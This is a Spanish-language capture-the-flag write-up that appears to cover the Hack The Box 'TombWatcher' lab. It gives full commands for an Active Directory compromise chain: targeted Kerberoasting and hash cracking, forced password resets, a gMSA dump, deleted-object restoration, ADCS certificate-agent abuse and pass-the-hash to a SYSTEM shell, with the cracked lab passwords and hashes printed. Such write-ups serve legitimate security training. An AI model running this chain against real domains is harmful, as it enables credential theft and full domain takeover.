# TombWatcher WriteUp

As is common in real life Windows pentests, you will start the TombWatcher box with credentials for the following account: henry / H3nry\_987TGV!

---

Se hace un escaneo de `nmap` para reconocer el entorno con los parametros:

* `-sV` Para identificar las versiones de los servicios expuestos.
    
* `-Pn` Para omitir el ping a los hosts (asumiendo que están activos).
    
* `-sC` Para utilizar los scripts por defecto de `nmap`.
    

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1759904313657/b030d361-84a4-4bf3-9678-586a65244f87.png align="left")

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1759904327109/a97bb58e-37d2-4dbf-bc5d-6dbe7fc5d4ab.png align="left")

Realizamos un escaneo del AD con **bloodhound** utilizando las credenciales proporcionadas:

`$ bloodhound-python -u ‘henry’ -p ‘H3nry_987TGV!‘`

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1759904336037/0e66f272-4433-4110-a0e8-a03d9609f5d1.png align="left")

El usuario HENRY@TOMBWATCHER.HTB tiene permisos de **WriteSPN** sobre el usuario ALFRED@TOMBWATCHER.HTB

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1759904344660/f5b0f3dc-e4d9-43c4-bdd4-ee66ebf4786f.png align="left")

El usuario Alfred tiene permisos de **AddSelf** sobre el grupo INFRAESTRUCTURE@TOMBWATCHER.HTB

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1759904353269/c51110ad-f65e-4632-af20-159be4f376cc.png align="left")

El grupo INFRAESTRUCTURE@TOMBWATCHER.HTB tiene permisos de **ReadGMSAPassword** sobre ANSIBLE\_DEV$@TOMBWATCHER.HTB

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1759904362378/61c68114-4d17-4652-ba13-5b01ca30f63d.png align="left")

El usuario ANSIBLE\_DEV$ Tiene permisos de **ForceChangePassword** sobre el usuario SAM@TOMBWATCHER.HTB

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1759904370938/e4f321c1-84a9-4867-9176-b5fa18812c4e.png align="left")

El usuario SAM tiene permisos de **WriteOwner** sobre el usuario JOHN@TOMBWATCHER.HTB

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1759904378619/cee2312d-60bb-40c8-9bdf-4d698dc6f31a.png align="left")

El usuario John tiene permisos de **GenericAll** sobre la cuenta de equipo ADCS@TOMBWATCHER.HTB

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1759904386115/23fbcd0a-f177-48e0-8968-7874b13d7721.png align="left")

Teniendo en cuenta el escaneo de **bloodhound**, el vector de ataque es claro. Como el usuario **henry** tiene permisos de **WriteSPN** sobre el usuario **alfred**, esto hace posible un **Kerberoasting**.

**¿Qué es Kerberoasting?**

Kerberoasting es un ataque contra Active Directory donde un atacante solicita tickets de servicio (TGS) para cuentas que tienen un `servicePrincipalName` (SPN). Esos TGS están cifrados con la clave (hash) de la cuenta de servicio. El atacante extrae el ticket y lo rompe offline (con fuerza/bruteforce o diccionario) para recuperar la contraseña de la cuenta objetivo sin necesidad de interactuar continuamente con el dominio.

El ataque consiste en:

* **Detectar cuentas con SPN** — identificar cuentas de servicio asociadas a SPNs (p. ej. con BloodHound, GetUserSPNs, powerview).
    
* **Solicitar TGS** — pedir un ticket de servicio para el SPN desde una cuenta con permisos suficientes (cualquier usuario autenticado puede solicitar TGS para un SPN conocido).
    
* **Volcar/extraer el TGS** — guardar la respuesta (TGS) que viene cifrada con la clave de la cuenta de servicio.
    
* **Extraer el “hash” del TGS** — transformar el TGS en el formato que aceptan crackeadores (hash para John/Hashcat).
    
* **Crackear offline** — usar Hashcat/John con diccionarios o fuerza bruta para recuperar la contraseña (si es débil).
    
* **Usar la credencial** — con la contraseña conseguida, el atacante puede autenticarse como la cuenta de servicio y moverse lateralmente o acceder a recursos.
    

En este caso, al tener **henry** permisos para modificar el atributo `servicePrincipalName` de **alfred**, se le podria asociar un **SPN** a ese usuario y solicitar un ticket de servicio (**TGS**) para ese **SPN** y obtener un **TGS** cifrado con la clave de la cuenta de **alfred**. Ese ticket puede extraerse y crackear offline, por lo cual podriamos llegar a obtener la clave de **alfred** mediante un ataque de **bruteforce** si esta llegase a ser una contraseña debil.

Obtenemos el hash **krb5** con:

`$ faketime "$(ntpdate -q dc01.tombwatcher.htb | cut -d ' ' -f 1,2)" python3 targetedKerberoast.py -v -u henry -p H3nry_987TGV! -d tombwatcher.htb`

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1759904395020/e15d5438-73ef-40d8-ad95-89007f00f7da.png align="left")

Metemos el hash en un archivo con:

`$ echo '$krb5tg...' > alfred.hash`

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1759904402964/7c906c61-794a-4f02-ba46-70bc417b8b0d.png align="left")

Crackeamos el hash con **hashcat** utilizando como diccionario **rockyou.txt**:

`$ hashcat -m 13100 alfred.hash /usr/share/wordlists/rockyou.txt`

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1759904410371/7b094113-abf4-497c-a886-7df299b42761.png align="left")

Obtenemos la clave de alfred

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1759904417878/82e74634-0362-4b4e-8a35-05bced32fb1d.png align="left")

**Contraseña crackeada:** `alfred:basketball`

Como **alfred** tiene permisos de **AddSelf** sobre el grupo **Infraestructure**, esto permite que el mismo usuario se pueda agregar al grupo Infraestructure, por lo cual utilizamos **bloodyAD** para agregarnos al grupo **Infraestructure** como alfred:

`$ bloodyAD -u alfred -p basketball -d tombwatcher.htb --dc-ip 10.129.53.187 add groupMember 'CN=INFRASTRUCTURE,CN=USERS,DC=TOMBWATCHER,DC=HTB' alfred`

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1759904426305/89a93a26-65db-4e35-a250-96d472584a32.png align="left")

Como el grupo **Infraestructure** tiene permisos de **ReadGMSAPassword sobre ansible\_dev$** esto permite que podamos leer la clave del **gMSA** enlazado a esa cuenta maquina. Como **alfred** ya forma parte del grupo **Infraestructure**, utilizamos **netexec** para dumpear el **gMSA** y de esta forma, obtenemos el hash **NTLM** de **ansible\_dev$**:

`$ nxc ldap 10.129.53.187 -u 'alfred' -p 'basketball' --gmsa`

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1759904434890/a2f7f445-893a-4e5f-8564-9c538c436b87.png align="left")

`LDAPS 10.129.207.44 636 DC01 Account: ansible_dev$ NTLM: 1c37d00093dc2a5f25176bf2d474afdc`

Como **ansible\_dev$** tiene permisos de **ForceChangePassword** sobre **SAM**, esto permite que **ansible\_dev$** pueda **forzar un cambio de contraseña** sobre **SAM**, como ya obtuvimos el hash **NTLM** de **ansible\_dev$**, cambiamos la clave del usuario **SAM a ‘Hacked\_1337’** pasandole el hash obtenido previamente:

`$ bloodyAD --dc-ip 10.129.53.187 --host dc01.tombwatcher.htb -d tombwatcher.htb -u 'ansible_dev$' -p ":1c37d00093dc2a5f25176bf2d474afdc" set password 'CN=SAM,CN=USERS,DC=TOMBWATCHER,DC=HTB' 'Hacked_1337'`

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1759904443686/fcc39f7e-9ae4-40ff-b928-87bd2139b12c.png align="left")

Como **sam** tiene permisos de **WriteOwner** sobre el usuario **john**, esto permite que se pueda asignar a **sam** como dueño del usuario **john**:

`$ bloodyAD --dc-ip 10.129.53.187 --host dc01.tombwatcher.htb -d tombwatcher.htb -u 'sam' -p 'Hacked_1337' set owner 'CN=JOHN,CN=USERS,DC=TOMBWATCHER,DC=HTB' 'sam'`

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1759904451018/9b54a87c-e174-44d3-a77f-3d4537ac8168.png align="left")

Le damos permisos de **GenericAll** al usuario **sam** sobre el usuario **john** para darle control completo sobre **john** en el **AD**:

`$ bloodyAD --dc-ip 10.129.53.187 --host dc01.tombwatcher.htb -d tombwatcher.htb -u sam -p 'Hacked_1337' add genericAll "CN=john,CN=Users,DC=tombwatcher,DC=htb" "CN=sam,CN=Users,DC=tombwatcher,DC=htb"`

Cambiamos la clave del usuario **john** para poder acceder como ese usuario:

`$ bloodyAD --dc-ip 10.129.53.187 --host dc01.tombwatcher.htb -d tombwatcher.htb -u sam -p 'Hacked_1337' set password "CN=john,CN=Users,DC=tombwatcher,DC=htb" "Pwned1337"`

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1759904458575/7a826dfa-0578-46b4-8ba3-baffa511f5b8.png align="left")

Nos conectamos mediante **evil-winrm** con:

`$ evil-winrm -i 10.129.53.187 -u john -p Pwned1337`

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1759904465926/0dd0ffb9-86c7-4226-8b96-25a88cf6348d.png align="left")

Obtenemos la flag de user:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1759904473923/50a8bd68-f0b3-481d-8f6d-c72f3c6bd861.png align="left")

**User Flag:** `604255b9beeba826812fccd15aa9aa53`

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1759904483389/49102d2f-da0b-4b1a-b858-8ec52ce69138.png align="left")

Listamos objetos borrados en el AD:

`Get-ADObject -Filter 'isDeleted -eq $true' -IncludeDeletedObjects -Properties * | Select-Object Name, DistinguishedName, ObjectClass, LastKnownParent, WhenChanged`

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1759904493312/f430ac19-b75e-40bf-947f-94d30db6e818.png align="left")

Restauramos el objeto eliminado (el usuario **cert\_admin**):

`Restore-ADObject -Identity 938182c3-bf0b-410a-9aaa-45c8e1a02ebf`

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1759904502147/c267fa89-31dc-4a38-aff9-1960a9f8c10e.png align="left")

Vemos que permisos tenemos sobre el usuario restaurado:

`$ bloodyAD --dc-ip 10.129.53.187 --host dc01.tombwatcher.htb -d tombwatcher.htb -u john -p 'Pwned1337' get writable`

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1759904509731/ced9037f-dedf-4bd1-a6d6-539b19921acb.png align="left")

Cambiamos la contraseña del usuario restaurado:

`net user cert_admin Pwned1337 /domain`

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1759904519587/f7d01a47-95b1-4cc2-b6bd-9e8c7fe3cad8.png align="left")

Abuso de Certificado ADCS:

El primer `req` emite un certificado válido para que `cert_admin` actúe como agente.

`$ certipy req -u 'cert_admin@tombwatcher.htb' -p 'Pwned1337 -dc-ip '10.129.53.187' -target 'dc01.tombwatcher.htb' -ca 'tombwatcher-CA-1' -template 'WebServer' -application-policies 'Certificate Request Agent'`

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1759904532739/d13c75c2-2d39-4218-b621-5dc22bff63ea.png align="left")

Solicita un certificado para **Administrator** usando el privilegio de agente.

`$ certipy req -u 'cert_admin@tombwatcher.htb' -p 'Pwned1337' -dc-ip '10.129.53.187' -target 'dc01.tombwatcher.htb' -ca 'tombwatcher-CA-1' -template 'User' -pfx 'cert_admin.pfx' -on-behalf-of 'tombwatcher\Administrator'`

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1759904540932/e17fdd6c-5250-4dd3-b9f9-db44d73b1f41.png align="left")

Se autentica con el PFX recién generado como `Administrator`.

`$ certipy auth -pfx 'administrator.pfx' -dc-ip 10.129.53.187`

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1759904548446/3345b5bf-1425-4767-9f4c-1d224ef77e89.png align="left")

Shell SYSTEM desde el hash NTLM del Administrador.

`$ impacket-psexec tombwatcher.local/Administrator@10.129.53.187 -hashes aad3b435b51404eeaad3b435b51404ee:f61db423bebe3328d33af26741afe5fc`

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1759904555617/42374087-e647-4a4b-a11e-249594b4ae1a.png align="left")

Obtenemos la flag de root

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1759904562559/a5dbfec7-b9f8-4ed2-a626-bdb0b8c9cab1.png align="left")

**Root Flag:** `3e7136fca73d5cd2f8913d35adad99f7`

---

📌 **Sígueme / Portfolio**

🌐 **Web:** [https://0xnano.com](https://0xnano.com/)

🐦 **X:** [https://x.com/0xN4no](https://x.com/0xN4no)

🐙 **GitHub:** [https://github.com/0xN4no](https://github.com/0xN4no)

![Nano](https://www.hackthebox.eu/badge/image/54373 align="left")

🔎 ¿Te gustó el writeup? Comentá o compartilo — siempre respondo dudas y me encanta ver mejoras/PRs.
